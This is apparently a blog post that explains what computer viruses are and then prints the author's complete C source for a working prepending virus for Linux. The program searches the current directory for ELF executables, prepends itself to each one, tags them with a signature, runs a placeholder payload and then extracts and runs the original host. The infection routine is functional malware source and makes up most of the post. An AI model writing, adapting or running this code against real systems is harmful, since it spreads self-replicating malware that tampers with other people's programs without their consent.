Prepending Linux virus

Background info about computer viruses in general:

Computer viruses are nothing more than programs that copy themselves to other programs. They do not have to have a fancy payload, nor do they have to be destructive. Self-replication is the only requirement for a program to be classified as a virus.  Since self-replication is widely regarded as an unwanted feature of a program, computer viruses are classified under the category of malware. Computer viruses often contain other side-effects other than self-replication, these side-effects are known as payloads. The payloads included in a virus are usually malicious. Typical payloads may include: stealing personal information, setting up a backdoor program, or even a scary graphical animation.

Since Microsoft Windows is the most popular desktop operating system, computer virus writers target these platforms the most. Even though Macintosh and Linux users are less likely to be targeted, this does not make them immune to computer viruses. The insignificant user-base of these systems compared to Windows just makes these systems not worth the time for virus writers. But if someone really wanted, a computer virus can be created for Macintosh or Linux just as easily as one can be created for Windows.

The most basic type of virus to concoct is the prepending virus. This type of virus merely inserts itself right before the entry point of the host executable. Once the infected host program gets executed, the virus code will run first before the original host code takes over. The basic algorithm for a prepending virus might be described like the following:

while (each file in files) {
if (
file is hidden ||
file is a special file ||
file is already infected
) continue;
infect(file);
}

payload();

extract_host_code(".temp_exe");
wait_for_process( execute(".temp_exe") );
remove(".temp_exe");

For Linux, the following system functions can be used to develop this type of virus:

  • opendir – Opens a directory
  • readdir – Reads the next file entry from an open directory
  • stat – Queries information about a file
  • fstat – Queries information about an open file
  • open – Opens a file
  • read – Reads from an open file
  • lseek – Sets the current position on an open file
  • creat – Creates a file
  • sendfile – Pipes data from one open file directly to another
  • write – Writes to an open file
  • rename – Renames a file
  • close – Closes an open file
  • fork – Creates a child process
  • execve – Loads a program into the current process and executes it
  • waitpid – Waits for a process to terminate
  • remove – Deletes a file

Here is an example of a prepending virus I made for Linux:

/*
 * virus.c
 * Author: Mark Swoope (markswoope0@gmail.com)
 * Date: 21 September 2013
 * 
 * This a simple prepending virus for ELF executables.
 * It goes through all executable files in the current directory
 * and infects them
 *
 * Infected executables will look like this:
 *
 * +-------+
 * | VIRUS |
 * +-------+
 * | HOST  |
 * +-------+
 * | MAGIC |
 * +-------+
 *
 * MAGIC will be the signature of an infected executable.
 * When an infected program runs, the virus code will 
 * run and then it will extract the host code to a temporary
 * file to execute.
 *
 * This program utilizes the sendfile function.
 * It is a non-standard/non-portable function for transferring
 * data between file descriptors. The sendfile function used
 * here has been tested on Linux 3.8. For portability, feel free
 * to replace calls to sendfile with read/write combinations.
 *
 * FIXME: If the original virus gets infected with it's offspring,
 * it will fork bomb the next time it gets executed. One solution
 * is to append the virus signature to the original virus after
 * compilation (and change VIRUS_SIZE of course).
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <dirent.h>
#include <elf.h>
#include <sys/sendfile.h>

//The size of this executable after compilation
#define VIRUS_SIZE	13840

//Name of temporary file to write to before replacing host executable
#define VIRUS_TMPHOST	".data.dat"

//Name of temporary executable to extract host code
#define VIRUS_TMPEXEC	".exec"

//Virus signature
#define VIRUS_MAGIC	7177135

//This subroutine is executed as a side-effect after
//infection takes place.

void payload() {
	fputs("This is the virus payload.\n", stdout);
}

//vfd is the open file descriptor of this virus
//host is the filename of the program to infect
int infect(int vfd, const char *host) {
	int tfd, hfd, magic;
	ssize_t n;
	unsigned char e_ident[EI_NIDENT];
	uint16_t e_type;
	struct stat st;
	
	hfd = open(host, O_RDONLY);
	if (hfd == -1) return 0;
	
	if (read(hfd, e_ident, EI_NIDENT) < EI_NIDENT)
		return 0;

	//All programs bear the mark of the beast
	if (
		e_ident[EI_MAG0] != ELFMAG0 ||
		e_ident[EI_MAG1] != ELFMAG1 ||
		e_ident[EI_MAG2] != ELFMAG2 ||
		e_ident[EI_MAG3] != ELFMAG3 
	) return 0;

	if (read(hfd, &e_type, sizeof(e_type)) < sizeof(e_type))
		return 0;

	if (e_type != ET_EXEC && e_type != ET_DYN) return 0;

	//Check if already infected
	lseek(hfd, sizeof(magic) * -1, SEEK_END);
	read(hfd, &magic, sizeof(magic));
	if (magic == VIRUS_MAGIC) return 0;
	magic = VIRUS_MAGIC;

	lseek(vfd, 0, SEEK_SET);
	lseek(hfd, 0, SEEK_SET);
	fstat(hfd, &st);
	
	//Create temporary file	
	tfd = creat(VIRUS_TMPHOST, st.st_mode);
	if (tfd == -1) return 0;

	//Write virus code
	sendfile(tfd, vfd, NULL, VIRUS_SIZE);
	//Write host code
	sendfile(tfd, hfd, NULL, st.st_size);	
	//Write virus signature
	write(tfd, &magic, sizeof(magic));

	close(tfd);
	close(hfd);

	//Replace original host file with our new executable
	rename(VIRUS_TMPHOST, host);
	return 1;
}

int main(int argc, char *const argv[], char *const envp[]) {
	DIR *dir;
	struct dirent *ent;
	struct stat st;
	int vfd, xfd, magic;
	pid_t pid;
	off_t offset;
	ino_t inode;

	vfd = open(argv[0], O_RDONLY);
	fstat(vfd, &st);
	inode = st.st_ino;

	//Search for files to infect	
	dir = opendir(".");
	for (ent = readdir(dir); ent != NULL; ent = readdir(dir)) {

		//Hidden files are immune
		if (ent->d_name[0] == '.') continue;

		//Special files are immune
		stat(ent->d_name, &st);
		if (!S_ISREG(st.st_mode)) continue;

		//Don't want the virus to infect itself
		if (st.st_ino == inode) continue;

		infect(vfd, ent->d_name);
	}				
	closedir(dir);

	payload();

	//Extract host code to temporary file
	offset = lseek(vfd, VIRUS_SIZE, SEEK_SET);
	fstat(vfd, &st);
	xfd = creat(VIRUS_TMPEXEC, st.st_mode);
	read(vfd, &magic, sizeof(magic));
	if (magic != VIRUS_MAGIC)
		lseek(vfd, sizeof(magic) * -1, SEEK_CUR);
	else offset += sizeof(magic);
	sendfile(xfd, vfd, NULL, st.st_size - offset);
	close(xfd);
	close(vfd);
	
	//Run host code
	pid = fork();
	if (pid == 0) exit(execve(VIRUS_TMPEXEC, argv, envp));
	waitpid(pid, NULL, 0);
	unlink(VIRUS_TMPEXEC);
	return 0;		
}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: